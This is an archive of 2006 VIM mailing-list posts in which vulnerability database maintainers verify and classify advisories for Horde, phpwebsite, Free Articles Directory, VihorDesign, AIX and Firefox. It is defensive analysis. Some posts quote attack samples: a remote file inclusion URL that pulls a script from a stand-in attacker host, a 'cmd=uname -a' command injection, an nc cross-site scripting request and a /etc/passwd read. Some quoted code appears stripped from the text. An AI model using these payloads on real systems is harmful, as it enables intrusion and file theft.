it's a tad amusing =) 1. The act of rendering; especially, the act of surrender, as of fugitives from justice, at the claim of a foreign government; also, surrender in war. [1913 Webster] n 1: a performance of a musical composition or a dramatic role etc.; "they heard a live rendition of three pieces by Schubert" [syn: {rendering}] 2: an explanation of something that is not immediately obvious; "the edict was subject to many interpretations"; "he annoyed us with his interpreting of parables"; "often imitations are extended to provide a more accurate rendition of the child's intended meaning" [syn: {interpretation}, {interpreting}, {rendering}] 3: the act of interpreting something as expressed in an artistic performance; "her rendition of Milton's verse was extraordinarily moving" [syn: {rendering}, {interpretation}] I don't think it qualifies as a musical composition or dramatic role, so we'll go with "explanation of something that is not immediately obvious", although having to download a PDF to view the advisory may approach the more modern use of the word involving torture in other countries. From nicob at nicob.net Wed Mar 22 04:17:23 2006 From: nicob at nicob.net (Nicob) Date: Wed, 22 Mar 2006 10:17:23 +0100 Subject: [VIM] FrSIRT closes exploit section due to French laws In-Reply-To: <200603200314.k2K3EvsU022289@cairo.mitre.org> References: <200603200314.k2K3EvsU022289@cairo.mitre.org> Message-ID: <1143019043.24088.45.camel@localhost> Le dimanche 19 mars 2006 ? 22:14 -0500, Steven M. Christey a ?crit : > However, they still offer the information to subscribers. Wonder if > that's a loophole in French law. French law clearly states that exploit code can be used/wrote/shared only by people with a "legitimate need". But nobody want to go to court to known what does this "legitimate need" exactly is :-( Nicob From jericho at attrition.org Wed Mar 22 05:45:03 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 22 Mar 2006 05:45:03 -0500 (EST) Subject: [VIM] Free Articles Directory - file inclusion, code execution? Message-ID: http://archives.neohapsis.com/archives/bugtraq/2006-03/0396.html Original disclosure isn't very clear, but the sample looks like it is passing arbitrary commands to be executed: http://[target]/index.php?page=evilcode?&cmd=uname -a http://www.secunia.com/advisories/19320/ Secunia is calling this local/remote file inclusion. Clarification or different issue? From jericho at attrition.org Wed Mar 22 07:56:33 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 22 Mar 2006 07:56:33 -0500 (EST) Subject: [VIM] Horde go.php question Message-ID: http://archives.neohapsis.com/archives/bugtraq/2006-03/0272.html http://archives.neohapsis.com/archives/bugtraq/2006-03/0366.html ---------- Forwarded message ---------- From: security curmudgeon To: Jan Schneider Date: Wed, 22 Mar 2006 07:55:54 -0500 (EST) Subject: Re: CodeScan Advisory: Unauthenticated Arbitrary File Read in Horde v3.09 and prior Hey Jan, : Just FYI, noone of the Horde developers was able to reproduce this, and : it should only be exploitable if you have a PHP version that has bugs in : both parse_url() and readfile(). : : Beside that, the reporters unfortunately stopped talking to us in the : middle of the process, dunno why. If none of the developers were able to reproduce this, do you know why CodeScan said the following: : > CodeScan Labs has been in contact with Horde and a new version of : > the software has been released to address the discovered : > vulnerability. : > : > Users are advised to upgrade to version 3.1 : > ftp://ftp.horde.org/pub/horde/horde-3.1.tar.gz Why would they encourage users to upgrade to 3.1 to fix this, if the devs couldnt reproduce it (and I assume write a patch for it)? Thanks! Brian OSVDB.org From jzlatin at ramat.cc Wed Mar 22 07:46:38 2006 From: jzlatin at ramat.cc (Josh Zlatin) Date: Wed, 22 Mar 2006 07:46:38 -0500 (EST) Subject: [VIM] Free Articles Directory - file inclusion, code execution? In-Reply-To: References: Message-ID: On Wed, 22 Mar 2006, security curmudgeon wrote: > > http://archives.neohapsis.com/archives/bugtraq/2006-03/0396.html > > Original disclosure isn't very clear, but the sample looks like it is passing > arbitrary commands to be executed: > > http://[target]/index.php?page=evilcode?&cmd=uname -a > > http://www.secunia.com/advisories/19320/ > > Secunia is calling this local/remote file inclusion. Clarification or > different issue? Looks to me like a clarification, meaning: http://[target]/index.php?page=http://[attacker]/evilscript opens and runs the php script (note the following code in index.php though: include($_GET["page"].".php"); I was unable to run uname -a or any other command I tried via the cmd command, but that is probably because the 'cmd' variable is defined as the result of the following SQL query: SELECT * FROM document_master where doc_title='".$_GET["pagedb"]. -- - Josh From theall at tenablesecurity.com Wed Mar 22 09:19:02 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Wed, 22 Mar 2006 09:19:02 -0500 Subject: [VIM] Horde go.php question In-Reply-To: References: Message-ID: <44215CD6.3000105@tenablesecurity.com> security curmudgeon wrote: > http://archives.neohapsis.com/archives/bugtraq/2006-03/0272.html > http://archives.neohapsis.com/archives/bugtraq/2006-03/0366.html > > ---------- Forwarded message ---------- > From: security curmudgeon > To: Jan Schneider > Date: Wed, 22 Mar 2006 07:55:54 -0500 (EST) > Subject: Re: CodeScan Advisory: Unauthenticated Arbitrary File Read in > Horde > v3.09 and prior > > > Hey Jan, > > : Just FYI, noone of the Horde developers was able to reproduce this, and > : it should only be exploitable if you have a PHP version that has bugs in > : both parse_url() and readfile(). I asked Jan about this and told him that I'm able to reproduce this under php 4.4.0-pl1-gentoo as long as magic_quotes_gpc is disabled and that the following PHP script successfully displays the password file if run from the CLI under PHP 5.1.2-gentoo/0.4.8: which suggests that the exploit should work with that version too. In his reply, he didn't mention anything about which versions of PHP have the bugs he eluded to, only that he tested it on 4.4.0 and it didn't work but it did using the CLI SAPI of that version. I sent him my php.ini file as well as Apache's server info output to give him an idea how the first server is configured. That was yesterday morning. I haven't heard back from him yet. George From theall at tenablesecurity.com Wed Mar 22 09:58:27 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Wed, 22 Mar 2006 09:58:27 -0500 Subject: [VIM] Free Articles Directory - file inclusion, code execution? In-Reply-To: References: Message-ID: <44216613.7050103@tenablesecurity.com> Josh Zlatin wrote: > Looks to me like a clarification, meaning: > http://[target]/index.php?page=http://[attacker]/evilscript > > opens and runs the php script (note the following code in index.php > though: include($_GET["page"].".php"); Yes, it does appear to be a remote file include flaw. From index.php, you have: if ($_GET["page"]=='') ... else { include($_GET["page"].".php"); } > I was unable to run uname -a or any other command I tried via the cmd > command, but that is probably because the 'cmd' variable is defined as > the result of the following SQL query: Actually, it just is passed to whatever URL you pass in via the page parameter. So all you'd need to run code is a PHP script that calls system() with the value of cmd. George -- theall at tenablesecurity.com From theall at tenablesecurity.com Wed Mar 22 13:45:03 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Wed, 22 Mar 2006 13:45:03 -0500 Subject: [VIM] SQL Injections in phpwebsite Message-ID: <44219B2F.3090305@tenablesecurity.com> Has anyone looked into the SQL injection flaws in phpwebsite announced here: http://www.securityfocus.com/archive/1/428156/30/0/threaded SecurityFocus assigned it BID 17150 and Mitre CVE-2006-1330. The advisory doesn't specify which versions are affected and I haven't found anything about it on the project's site / forums / mailing lists, but Secunia reports the solution is to upgrade to a version higher than 0.8.3, which would mean 0.9.0, released early 2003. The first issue does seem to be new, but the second appears to be the same as that covered by CVE-2002-2178 / OSVDB 3850 and announced here: http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html Unfortunately, I can't find the a download for the source for 0.8.3 from the project's website, but I did find a CVS repository that purports to have 0.8.3: http://cvs.cannonbose.com/cgi-bin/viewcvs.cgi/third-party/phpwebsite_0_8_3/article.php?annotate=1.4 Note that in line 106, sid is passed to a SQL query, which is the first time it's used in that file as long as op does not equal 'Print'. Finally, the source code for 0.9.0 does not have friends.php and has only a stub for article.php. Thoughts? George -- theall at tenablesecurity.com From coley at linus.mitre.org Wed Mar 22 14:34:50 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 22 Mar 2006 14:34:50 -0500 (EST) Subject: [VIM] Free Articles Directory - file inclusion, code execution? In-Reply-To: References: Message-ID: I did some followup analysis on this and (yet again) forgot to forward to VIM. ----- [CVE-2006-1350] ACCURACY: verified using source inspection by Steve Christey on 20060321. Line 23 of index.php (dated 20051208) is: include($_GET["page"].".php"); So this is file inclusion. The use of the "cmd" parameter in the exploit is a standard manipulation in which the remote page delivers the code that accepts the cmd parameter. Full source of index.php is below. I didn't see any clear version numbers; most source files are dated Dec 8, 2005. - Steve


From coley at linus.mitre.org Wed Mar 22 14:42:55 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 22 Mar 2006 14:42:55 -0500 (EST) Subject: [VIM] Free Articles Directory - file inclusion, code execution? In-Reply-To: References: Message-ID: On Wed, 22 Mar 2006, Steven M. Christey wrote: > I did some followup analysis on this and (yet again) forgot to forward to > VIM. Don't you find it irritating when someone replies to the initial email of a thread instead of waiting until they've read the whole thread? :) - Steve From coley at mitre.org Wed Mar 22 14:51:24 2006 From: coley at mitre.org (Steven M. Christey) Date: Wed, 22 Mar 2006 14:51:24 -0500 (EST) Subject: [VIM] Clarification on do_replace netfilter overflow Message-ID: <200603221951.k2MJpOdX028778@cairo.mitre.org> FYI, Red Hat has a clarification on the do_replace netfilter; original BID details apparently had some errors. Check the bugzilla reference in the CVE below. - Steve ====================================================== Name: CVE-2006-0038 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0038 Reference: CONFIRM:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=186295 Reference: CONFIRM:http://www.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=ee4bb818ae35f68d1f848eae0a7b150a38eb4168 Reference: BID:17178 Reference: URL:http://www.securityfocus.com/bid/17178 Integer overflow in the do_replace function in netfilter for Linux before 2.6.16-rc3, when using "virtualization solutions" such as OpenVZ, allows local users with CAP_NET_ADMIN rights to cause a buffer overflow in the copy_from_user function. From jericho at attrition.org Wed Mar 22 16:45:58 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 22 Mar 2006 16:45:58 -0500 (EST) Subject: [VIM] CodeScan Advisory: Unauthenticated Arbitrary File Read in Horde v3.09 and prior (fwd) Message-ID: ---------- Forwarded message ---------- From: Jan Schneider To: security curmudgeon Date: Wed, 22 Mar 2006 14:33:51 +0100 Subject: Re: CodeScan Advisory: Unauthenticated Arbitrary File Read in Horde v3.09 and prior Zitat von security curmudgeon : > > Hey Jan, > > : Just FYI, noone of the Horde developers was able to reproduce this, and > : it should only be exploitable if you have a PHP version that has bugs in > : both parse_url() and readfile(). > : > : Beside that, the reporters unfortunately stopped talking to us in the > : middle of the process, dunno why. > > If none of the developers were able to reproduce this, do you know why > CodeScan said the following: > > : > CodeScan Labs has been in contact with Horde and a new version of > : > the software has been released to address the discovered > : > vulnerability. > : > > : > Users are advised to upgrade to version 3.1 > : > ftp://ftp.horde.org/pub/horde/horde-3.1.tar.gz > > Why would they encourage users to upgrade to 3.1 to fix this, if the devs > couldnt reproduce it (and I assume write a patch for it)? Because we worked around it even though we couldn't reproduce it. Jan. -- Do you need professional PHP or Horde consulting? http://horde.org/consulting/ From jericho at attrition.org Wed Mar 22 18:46:54 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 22 Mar 2006 18:46:54 -0500 (EST) Subject: [VIM] SQL Injections in phpwebsite In-Reply-To: <44219B2F.3090305@tenablesecurity.com> References: <44219B2F.3090305@tenablesecurity.com> Message-ID: : Has anyone looked into the SQL injection flaws in phpwebsite announced here: : : http://www.securityfocus.com/archive/1/428156/30/0/threaded : : SecurityFocus assigned it BID 17150 and Mitre CVE-2006-1330. The : advisory doesn't specify which versions are affected and I haven't found : anything about it on the project's site / forums / mailing lists, but : Secunia reports the solution is to upgrade to a version higher than : 0.8.3, which would mean 0.9.0, released early 2003. : : The first issue does seem to be new, but the second appears to be the : same as that covered by CVE-2002-2178 / OSVDB 3850 and announced here: : : http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html OSVDB 3850 covers "article.php HTML IMG tags XSS", not an SQL injection. Currently, none of our entries cover an SQL injection in friend.php or article.php. CVE 2002-2178 covers article.php sid variable injection, but uses it as an example for the IMG tag XSS. From jericho at attrition.org Wed Mar 22 19:39:49 2006 From: jericho at attrition.org (security curmudgeon) Date: Wed, 22 Mar 2006 19:39:49 -0500 (EST) Subject: [VIM] Vulnerability fixed in E-gold (fwd) In-Reply-To: References: Message-ID: : > I know the VDB's don't track site specific bugs for the most part : : I'm starting to think that this is a bit of an issue, from the respect : of monitoring the space of "all known" vulnerabilities, no matter where : they live or how ephemeral they are. It feels like we're missing out on : a bit. The existing DBs out there do have good reasons for not tracking : these, but it would be a good thing if someone did it. OSVDB is fairly sure that tracking them is important, and will do it at some point. There are several issues in doing so that give us pause though. Unlike most vulns, you can't easily track some data that we normally do such as product info, versions, solution etc. Product info becomes site name and function? Versions become dates? Solution would always be "use the site after X date" which doesn't make a whole lot of sense. : > Has anyone else considered doing this in any fashion? What are the pros : > and cons in your eyes? : : The con would probably be the sheer amount of issues (XSS would be king, : and high risk in this context). I imagine there would be high : analytical expenses to distinguish a site-specific issue from a problem : in a third party package that the site is using. Actually, this expense : is starting to show up in CVE, just so we can decide whether or not to : include something. Another big issue. www.example.com is reported as being prone to an XSS or SQL injection. The real question is.. is it code they generated, or do they use an underlying commercial package that has the vuln? This is probably one of the biggest turnoffs for tracking such vulns, especially given the lack of detail/research seen in many disclosures. : The pros would be similar to the pros of disclosure in distributed : software, although the same cons would be inherited too. e.g. someone : might hear "XSS in Google" and assume there was some major obvious : mistake, even if it required a really obscure attack that took advantage : of broken browsers and non-standard behavior. Most databases have a mechanism to disclaim such requirements, but is that enough? If you post that Google has an XSS in FeatureC, and you can get it to work only via a Proxy using JerBrowse 3.0 .. does that tell us that it's only available via that setup and vector? Of course, we can argue this same thing with any other disclosure that puts criteria on exploitation.. so is it the fact that X million people use Google that should make us consider this more carefully? : I VERY loosely track these kinds of issues if they're posted to Bugtraq, : but they're not in any central location. Rather, I don't completely : throw away the reference. CVE will be making some internal process : changes that might allow this tracking to happen a little more cleanly, : but I'm not sure when that would happen. I save the mail off to a subdirectory. Not very organized, but all in one place and I can use the excellent search engine 'grep' =) At present, 182 files in that directory. From coley at linus.mitre.org Wed Mar 22 19:49:31 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 22 Mar 2006 19:49:31 -0500 (EST) Subject: [VIM] Vulnerability fixed in E-gold (fwd) In-Reply-To: References: Message-ID: On Wed, 22 Mar 2006, security curmudgeon wrote: > > : > I know the VDB's don't track site specific bugs for the most part > > OSVDB is fairly sure that tracking them is important, and will do it at > some point. Since this thread started, I'm manually recording new issues as they come across Bugtraq or other CVE sources, but there aren't a lot so far. You have a lot more. > Another big issue. www.example.com is reported as being prone to an XSS or > SQL injection. The real question is.. is it code they generated, or do > they use an underlying commercial package that has the vuln? This is > probably one of the biggest turnoffs for tracking such vulns, especially > given the lack of detail/research seen in many disclosures. Makes sense, but we're already seeing this quite a bit even in the "publicly distributed software" world. Definitely seems like it would be much worse in the site-specific world. - Steve From theall at tenablesecurity.com Wed Mar 22 20:09:32 2006 From: theall at tenablesecurity.com (George A. Theall) Date: Wed, 22 Mar 2006 20:09:32 -0500 Subject: [VIM] SQL Injections in phpwebsite In-Reply-To: References: <44219B2F.3090305@tenablesecurity.com> Message-ID: <4421F54C.4090300@tenablesecurity.com> security curmudgeon wrote: > : The first issue does seem to be new, but the second appears to be the > : same as that covered by CVE-2002-2178 / OSVDB 3850 and announced here: > : > : http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html > > OSVDB 3850 covers "article.php HTML IMG tags XSS", not an SQL injection. > Currently, none of our entries cover an SQL injection in friend.php or > article.php. CVE 2002-2178 covers article.php sid variable injection, > but uses it as an example for the IMG tag XSS. I understand, but what I was getting as is whether the issue with article.php was mis-classified as a cross-site scripting flaw rather than a SQL injection. Given that a mysql syntax error will echo the query if PHP's display_errors setting is enabled, the person behind the report at http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html may have blindly been attacking phpwebsite and missed the true nature of this particular problem. Is there another vector of attack for the IMG tags XSS affecting phpwebsite? The ECHU advisory posted to fd only says that phpwebsite is affected but doesn't specify exactly how. George -- theall at tenablesecurity.com From coley at linus.mitre.org Wed Mar 22 20:47:59 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 22 Mar 2006 20:47:59 -0500 (EST) Subject: [VIM] SQL Injections in phpwebsite In-Reply-To: <4421F54C.4090300@tenablesecurity.com> References: <44219B2F.3090305@tenablesecurity.com> <4421F54C.4090300@tenablesecurity.com> Message-ID: On Wed, 22 Mar 2006, George A. Theall wrote: > I understand, but what I was getting as is whether the issue with > article.php was mis-classified as a cross-site scripting flaw rather > than a SQL injection. Given that a mysql syntax error will echo the > query if PHP's display_errors setting is enabled, the person behind the > report at > > http://archives.neohapsis.com/archives/bugtraq/2002-10/0029.html > > may have blindly been attacking phpwebsite and missed the true nature of > this particular problem. This kind of diagnosis error happens quite frequently, unfortunately, but I've only recently started noticing/caring about this in the last year or so (XSS would be "resultant" from a primary SQL injection using my terminology, if this is the case.) I'm not sure how much we can do about this diagnosis problem collectively, besides verifying the issues ourselves when feasible, and encouraging researchers to be more careful. Note that I suspect that a recent PHP XSS flaw was related to the general problem you're discussing, so maybe we'll stop seeing these kinds of diagnosis errors as more products or installations move to newer PHP versions. Assuming that PHP XSS issue was related to display_errors... I'd tell you the CVE number but searching for "php and xss" is, well, obviously not even worth trying ;-) Oh wait, here you go - CVE-2006-0208 - Steve (who hasn't looked closely at this issue yet and thus is not commenting on specifics) From jericho at attrition.org Thu Mar 23 08:54:36 2006 From: jericho at attrition.org (security curmudgeon) Date: Thu, 23 Mar 2006 08:54:36 -0500 (EST) Subject: [VIM] IBM changing significant details? Message-ID: While doing routine cross-referencing, I noticed SecurityTracker had a peculiar note for one advisory: http://securitytracker.com/alerts/2006/Mar/1015786.html [Editor's note: This flaw was reported in other databases as affecting the 'mklvcopy' command and as allowing local privilege escalation, but the vendor's advisory does not confirm these details.] http://www-1.ibm.com/support/docview.wss?uid=isg1IY82739 Security issue in bos.rte.lvm. -- So ST is right, as the advisory currently stands. However, I made the OSVDB entry for 'mklvcopy' on 2006-03-13, and the IBM advisory was last modified on 2006-03-14. If memory serves, it originally said the 'mklvcopy' command and had vague wording, which lead to the OSVDB title of "AIX mklvcopy Unspecified Local Issue". Secunia changed their title and description on 2006-03-21 (as mentioned in their changelog) and it no longer mentions 'mklvcopy'. Interesting.. From coley at linus.mitre.org Thu Mar 23 21:15:32 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Thu, 23 Mar 2006 21:15:32 -0500 (EST) Subject: [VIM] IBM changing significant details? In-Reply-To: References: Message-ID: On Thu, 23 Mar 2006, security curmudgeon wrote: > [Editor's note: This flaw was reported in other databases as affecting the > 'mklvcopy' command and as allowing local privilege escalation, but the > vendor's advisory does not confirm these details.] Sounds a lot like CVE's current description, except we're a bit more terse and just say "possibly in the mklvcopy command." > OSVDB entry for 'mklvcopy' on 2006-03-13, and the IBM advisory was last > modified on 2006-03-14. If memory serves, it originally said the > 'mklvcopy' command and had vague wording, which lead to the OSVDB title of > "AIX mklvcopy Unspecified Local Issue". Well this adds a bit of confusion alright. Maybe "mklvcopy" wasn't even relevant to the issue as specified in the IBM report, so it could be an entirely different issue. Dunno... - Steve From coley at mitre.org Thu Mar 23 21:17:56 2006 From: coley at mitre.org (Steven M. Christey) Date: Thu, 23 Mar 2006 21:17:56 -0500 (EST) Subject: [VIM] Red Hat dispute of Firefox IE-style script handler issue Message-ID: <200603240217.k2O2HuFY028933@cairo.mitre.org> Looks like CVE was the only RVI that decided to create something out of a followup to the MSIE script handler problem that mentioned Firefox, but word just came down from Red Hat that it looks like an IE-specific component in Mozilla. I don't have enough information to concur with either party, although currently available information suggests concurrence with the vendor. If so, then I would merge with IE's CVE-2006-1245. - Steve ====================================================== Name: CVE-2006-1273 Status: Candidate URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1273 Reference: BUGTRAQ:20060317 Re: Re: Remote overflow in MSIE script action handlers (mshtml.dll) Reference: URL:http://www.securityfocus.com/archive/1/archive/1/427977/100/0/threaded Reference: BUGTRAQ:20060318 Re: Re: Remote overflow in MSIE script action handlers (mshtml.dll) Reference: URL:http://www.securityfocus.com/archive/1/archive/1/428159/100/0/threaded ** DISPUTED ** Mozilla Firefox 1.0.7 and 1.5.0.1 allows remote attackers to cause a denial of service (crash) via an HTML tag with a large number of script action handlers such as onload and onmouseover, which triggers the crash when the user views the page source. NOTE: Red Hat has disputed this issue, suggesting that "It is likely the reporter was running the IE Tab extension," and Mozilla also confirmed that this is not an issue in Firefox itself. From jericho at attrition.org Thu Mar 23 21:18:05 2006 From: jericho at attrition.org (security curmudgeon) Date: Thu, 23 Mar 2006 21:18:05 -0500 (EST) Subject: [VIM] IBM changing significant details? In-Reply-To: References: Message-ID: : > OSVDB entry for 'mklvcopy' on 2006-03-13, and the IBM advisory was last : > modified on 2006-03-14. If memory serves, it originally said the : > 'mklvcopy' command and had vague wording, which lead to the OSVDB title of : > "AIX mklvcopy Unspecified Local Issue". : : Well this adds a bit of confusion alright. Maybe "mklvcopy" wasn't even : relevant to the issue as specified in the IBM report, so it could be an : entirely different issue. Dunno... The original text with that APAR suggested a customer submitted it, and they may have noticed the behavior via the mklvcopy command. After research from IBM, they likely found the underlying issue elsewhere and updated the text. That is what I am assuming.. and if true, discouraging that they removed details that are likely relevant. From mattmurphy at kc.rr.com Thu Mar 23 21:34:12 2006 From: mattmurphy at kc.rr.com (Matthew Murphy) Date: Thu, 23 Mar 2006 20:34:12 -0600 Subject: [VIM] Red Hat dispute of Firefox IE-style script handler issue In-Reply-To: <200603240217.k2O2HuFY028933@cairo.mitre.org> References: <200603240217.k2O2HuFY028933@cairo.mitre.org> Message-ID: <44235AA4.30403@kc.rr.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 Steven M. Christey wrote: > Looks like CVE was the only RVI that decided to create something out > of a followup to the MSIE script handler problem that mentioned > Firefox, but word just came down from Red Hat that it looks like an > IE-specific component in Mozilla. I don't have enough information to > concur with either party, although currently available information > suggests concurrence with the vendor. If so, then I would merge with > IE's CVE-2006-1245. I concur with Red Hat. Firefox 1.5 on XP SP2 survives the page (as does Firefox 1.0 on Windows Server 2003 RTM). Of note, however, is that viewing the same page in Firefox with IETab installed and choosing "View Page in IE Tab" results in crashes due to memory access violations in both browsers. - -- "Social Darwinism: Try to make something idiot-proof, nature will provide you with a better idiot." -- Michael Holstein -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) Comment: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xB5444D38 iD8DBQFEI1qkfp4vUrVETTgRA7QPAJ0QOefMk/IfDb7+eCWvyj55jpjpKQCeKMBm X5sakW6LNseNC8+VqKOlObk= =oIfE -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3436 bytes Desc: S/MIME Cryptographic Signature Url : http://www.attrition.org/pipermail/vim/attachments/20060323/70010c5c/attachment.bin From smoore at securityglobal.net Thu Mar 23 21:53:42 2006 From: smoore at securityglobal.net (Stuart Moore) Date: Thu, 23 Mar 2006 21:53:42 -0500 Subject: [VIM] IBM changing significant details? In-Reply-To: References: Message-ID: <44235F36.50502@securityglobal.net> If I remember correctly, it was either SecurityFocus or Secunia (or both) that originally reported the 'mklvcopy' aspect (BID 17115 still mentions it). But the first time we saw the APAR, it only mentioned BOS.RTE.LVM and the entirely useless "security issue" description. Stuart security curmudgeon wrote: > : > OSVDB entry for 'mklvcopy' on 2006-03-13, and the IBM advisory was last > : > modified on 2006-03-14. If memory serves, it originally said the > : > 'mklvcopy' command and had vague wording, which lead to the OSVDB title of > : > "AIX mklvcopy Unspecified Local Issue". > : > : Well this adds a bit of confusion alright. Maybe "mklvcopy" wasn't even > : relevant to the issue as specified in the IBM report, so it could be an > : entirely different issue. Dunno... > > The original text with that APAR suggested a customer submitted it, and > they may have noticed the behavior via the mklvcopy command. After > research from IBM, they likely found the underlying issue elsewhere and > updated the text. That is what I am assuming.. and if true, discouraging > that they removed details that are likely relevant. > From jericho at attrition.org Thu Mar 23 21:55:38 2006 From: jericho at attrition.org (security curmudgeon) Date: Thu, 23 Mar 2006 21:55:38 -0500 (EST) Subject: [VIM] IBM changing significant details? In-Reply-To: <44235F36.50502@securityglobal.net> References: <44235F36.50502@securityglobal.net> Message-ID: : If I remember correctly, it was either SecurityFocus or Secunia (or : both) that originally reported the 'mklvcopy' aspect (BID 17115 still : mentions it). But the first time we saw the APAR, it only mentioned : BOS.RTE.LVM and the entirely useless "security issue" description. I am 99% sure the APAR said 'mklvcopy'. I created the OSVDB entry within hours of Secunia's entry and couldn't find any more info than they had. From coley at linus.mitre.org Fri Mar 24 03:11:03 2006 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 24 Mar 2006 03:11:03 -0500 (EST) Subject: [VIM] IBM changing significant details? In-Reply-To: References: <44235F36.50502@securityglobal.net> Message-ID: On Thu, 23 Mar 2006, security curmudgeon wrote: > I am 99% sure the APAR said 'mklvcopy'. I created the OSVDB entry within > hours of Secunia's entry and couldn't find any more info than they had. This is one more aspect of the provenance problem: who knew what when, and how confident are we that they were right in the first place, and if there was an original source, where is it and barring that, how confident are we that the original source was interpreted correctly by a third party? I don't know if this kind of problem is getting more pronounced, or if I'm just getting more sensitive to it now. - Steve From jericho at attrition.org Fri Mar 24 03:56:07 2006 From: jericho at attrition.org (security curmudgeon) Date: Fri, 24 Mar 2006 03:56:07 -0500 (EST) Subject: [VIM] XHP vendor ack/fix Message-ID: ---------- Forwarded message ---------- From: freshmeat-news at lists.freshmeat.net [078] - XHP 0.5.1 by Laurentiu "Lars" Matei (http://freshmeat.net/users/cjlars/) Thu, Mar 23rd 2006 21:35 Internet :: WWW/HTTP :: Dynamic Content About: XHP (eXpandable Home Page) is a personal home page program (CMS) that is easy to install, easy to use, and easy to expand. It includes blog, image gallery, content modules, and an API for contributed modules. It tries to fill the lack of personal home-page oriented CMSs, since most of the current CMSs are dedicated to the enterprise market or large portals. Changes: This version was released to solve a critical vulnerability. The vulnerability is described here: http://xhp.targetit.ro/index.php?page=3&box_id=34&action=show_single_entry&post_id=10 http://secunia.com/advisories/19353/ http://www.osvdb.org/displayvuln.php?osvdb_id=24059 http://www.osvdb.org/displayvuln.php?osvdb_id=24058. This release also includes two patches previously published for 0.5 that solve a blog page generation issue and an installation issue connected to MySQL. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/xhp/ From coley at mitre.org Sun Mar 26 18:49:43 2006 From: coley at mitre.org (Steven M. Christey) Date: Sun, 26 Mar 2006 18:49:43 -0500 (EST) Subject: [VIM] clarification of "VihorDesign" (not VihorDesing) issues Message-ID: <200603262349.k2QNnhCh025770@cairo.mitre.org> A typo in a Bugtraq post is making the rounds through various vuln dbs. I also did some followup analysis and found some interesting/odd things, plus a question. Ref: VihorDesing Script Remote Command Exucetion And Cross Scripting Attack http://www.securityfocus.com/archive/1/archive/1/428737/100/0/threaded ==== product/vendor name ==== If you access the vendor web site as specified in the Bugtraq post: http://www.vihor.de The zip file is called "vihordesign" and some text near the top of the page says ":: ViHor :: Design ::" If you Google, the company seems to be "ViHor Design". For humor, type "vihordesing" into Google and compare the results to "vihordesign". I don't read German, but it sounds like this is a web design company, which might argue for exclusion from a vuln DB. However, for CVE's purposes, since there's a distinct download of the code, it counts. ... which led me to download and inspect the source for the claimed "remote execute" and XSS issues. ==== source code inspection ==== vihordesign_1.0.6/index.php has the following code: if ($page=="") $page="mainfile.php"; ... $fd = fopen($page, "r"); while (!feof($fd)) { echo fgets($fd, 10096); } A "grep" shows no other use of $page in any other file in the 1.0.6 distribution. Since fopen() can support remote URLs, we have what might appear to be a classic PHP remote file issue. However, this is in an fopen(), and it's not being fed into an include/require statement; it's just echoing the results back to the client. So I don't see how it can be used for code execution. But I'm not that familiar with PHP, so maybe someone else can clarify. Can the output of "echo" get interpreted as PHP if it's echoing a " tags in the page parameter. Since we now know that "page" is only used in an fopen call, the " HTTP/1.0\r\n\r\n' | nc target 80 under PHP 4.4.0-pl1-gentoo returns a line like the following: Warning: fopen(): failed to open stream: No such file or directory in /var/www/localhost/htdocs/vihor/index.php on line 97
so yes, you do have a cross-site scripting flaw provided display_errors is enabled. Interestingly, though, the next error line is like: Warning: feof(): supplied argument is not a valid stream resource in /var/www/localhost/htdocs/vihor/index.php on line 98
and this repeats continually. So if you try this in a browser, you'll probably hang the browser before you pop-up any alert boxes. George -- theall at tenablesecurity.com From mjc at redhat.com Mon Mar 27 04:36:28 2006 From: mjc at redhat.com (Mark J Cox) Date: Mon, 27 Mar 2006 10:36:28 +0100 (BST) Subject: [VIM] clarification of "VihorDesign" (not VihorDesing) issues In-Reply-To: <200603262349.k2QNnhCh025770@cairo.mitre.org> References: <200603262349.k2QNnhCh025770@cairo.mitre.org> Message-ID: <0603271022490.25005@dell1.moose.awe.com> > if ($page=="") $page="mainfile.php"; > ... > $fd = fopen($page, "r"); > while (!feof($fd)) { > echo fgets($fd, 10096); > } With PHP <5.0.0 I can't see a way you can get an fopen in PHP to run arbitrary code with the default wrappers (unless you've previously defined a new handler or perhaps installed a third-party stream wrapper). Now with PHP 5.0.0 you might be able to use the default filter handler "php://filter...." to write to a file and perhaps pick one which will gets executed (I don't have PHP 5 handy to try it) This is certainly more useful to an attacker to return arbitrary files that the web server can read if safe_mode is off (page=/etc/passwd etc) than XSS though. Mark -- Mark J Cox / Red Hat Security Response Team From jericho at attrition.org Mon Mar 27 11:22:35 2006 From: jericho at attrition.org (security curmudgeon) Date: Mon, 27 Mar 2006 11:22:35 -0500 (EST) Subject: [VIM] Helm Control Panel followup Message-ID: ---------- Forwarded message ---------- From: security curmudgeon To: WebHost Automation Ltd Date: Mon, 27 Mar 2006 11:22:10 -0500 (EST) Subject: Re: Your account details (WHA15946) Hello, I signed up to be able to mail support a question regarding your product, but it says that since I don't have a contract I can't do that. Hopefully you will be able to forward this on to the appropriate people. Recently, a few security vulnerabilities were reported in one of your products: 